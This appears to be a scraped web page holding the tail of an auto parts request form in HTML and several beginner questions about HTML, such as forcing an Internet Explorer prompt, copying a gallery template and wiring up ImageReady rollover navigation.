cellpadding="5"> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Name</div></td> <td><div align="left"> <input type="text" size="25" name="Name"> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>State:</div></td> <td><div align="left"> <select class="other" name="State"> <option selected="selected"></option> <option>AL</option> <option>AK</option> <option>WY</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left">Phone:</div></td> <td><div align="left"> <input type="text" size="25" name="Phone"> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Email:</div></td> <td><div align="left"> <input type="text" size="25" name="email"> </div></td> </tr> </TABLE></td> <td><TABLE width="260" border="0" cellspacing="0" cellpadding="5"> <tr> <td class="style2"><div align="left">VIN Number: </div></td> <td><div align="left"> <input type="text" size="25" name="Vin Number" class="text" maxlength="100" maxsize="100" /> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Year:</div></td> <td><div align="left"> <select class="other" name="Year"> <option></option> <option>2009</option> <option>1910</option> <option>1909</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Make:</div></td> <td><div align="left"> <select class="other" name="Make"> <option></option> <option>Other</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Model:</div></td> <td><div align="left"> <input type="text" size="25" name="Model"> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Fuel:</div></td> <td><div align="left"> <select class="other" name="Fuel"> <option></option> <option>Gas</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Transmission:</div></td> <td><div align="left"> <select class="other" name="Transmission"> <option></option> <option>Manual</option> </select> </div></td> </tr> <tr> <td class="style2"><div align="left"><span class="style3">*</span>Part(s) Needed: </div></td> <td><div align="left"> <textarea cols="25" rows="3" name="Parts Needed" class="text"></textarea> </div></td> </tr> </TABLE></td> </tr> <tr> <td><div align="left"><span class="left style2">Your information will not be shared or stored or sold.<br /> </span><span class="style3">*</span><span class="left style2"> = Required </span></div></td> <td><div align="right"><INPUT type="submit" value="Submit Part Request"> </div></td> </tr> </TABLE></td> </tr> </TABLE> <br> <br> <br> </div> </div> <br> </div><br /> <div align="center"><span class="style7"><em></em><a href="javascript:window.external.AddFavorite('http://www.giancolaauto.com', 'Giancola Auto Parts - Over 100,000 Used Auto Parts')">Add to favorites</a> | <a href="#" onClick="this.style.behavior='url(#default#homepage)'; this.setHomePage('http://www.giancolaauto.com');">Set as homepage </a></span></div><span class="style7"><a href="mailto:giancola_autoparts@yahoo.com"></a></span><TABLE width="100%" border="0" cellspacing="0" cellpadding="0"> <tr><td class="style3"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_ebay.gif" alt="" width="533" height="68"></div></td> </tr> </TABLE></body></html> i need the code in html when any one opens my website in mozilla firefox the user is prompted to view the website in INTERNET Explorer . while if the user opens the website in IE he is not prompted to any action. and the action required may be in pop up form or attention message form. please help me put as soon as possible. and the code must work for any browser because i need my website to be viewed in IE only. can go through the URL ... please view it in IE and firefox there is a difference is spacing the table if u can fix this or can make the prompting it will be fine http://ims-sc.org/SPORTS/members.html Hello! I know next to nothing about HTML code, I found a site that offers image gallery templates free to use, only when I view the page source I have NO idea how to decipher which code is for the gallery and which is the page itself. Could someone possibly just copy and past the code for the image gallery for me so that I can just substitute the images with my own? The site is here http://www.cssplay.co.uk/menu/zoom-gallery.html Thank you so much for your help! Help me with imageready/photoshop website? Okay, heres the coding im confused with.. ive exported all the images from my photoshop website ive created and all of those fit perfectly in the coding... However, im having a problem with the navigation.. This is the coding: websiteeeeeeeeeeeeeeeeeee_home_over = newImage("images/websiteeeeeeeeeeeeeeeeee-04.gif"); websiteeeeeeeeeeeeeeeeeee_home_down = newImage("images/websiteeeeeeeeeeeeeeeeee-05.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_3_over = newImage("images/websiteeeeeeeeeeeeeeeeee-09.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_3_down = newImage("images/websiteeeeeeeeeeeeeeeeee-10.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_4_over = newImage("images/websiteeeeeeeeeeeeeeeeee-13.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_4_down = newImage("images/websiteeeeeeeeeeeeeeeeee-14.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_6_over = newImage("images/websiteeeeeeeeeeeeeeeeee-17.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_6_down = newImage("images/websiteeeeeeeeeeeeeeeeee-18.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_8_over = newImage("images/websiteeeeeeeeeeeeeeeeee-21.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_8_down = newImage("images/websiteeeeeeeeeeeeeeeeee-22.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_10_over = newImage("images/websiteeeeeeeeeeeeeeeeee-25.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_10_down = newImage("images/websiteeeeeeeeeeeeeeeeee-26.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_12_over = newImage("images/websiteeeeeeeeeeeeeeeeee-29.gif"); websiteeeeeeeeeeeeeeeeeee_1_copy_12_down = newImage("images/websiteeeeeeeeeeeeeeeeee-30.gif"); preloadFlag = true; etc.... i wont post the entire thing, but thats for the navigation..and im lost.. i still have the navigational images left, but i dont know where to put them within the code. can anyone help me? |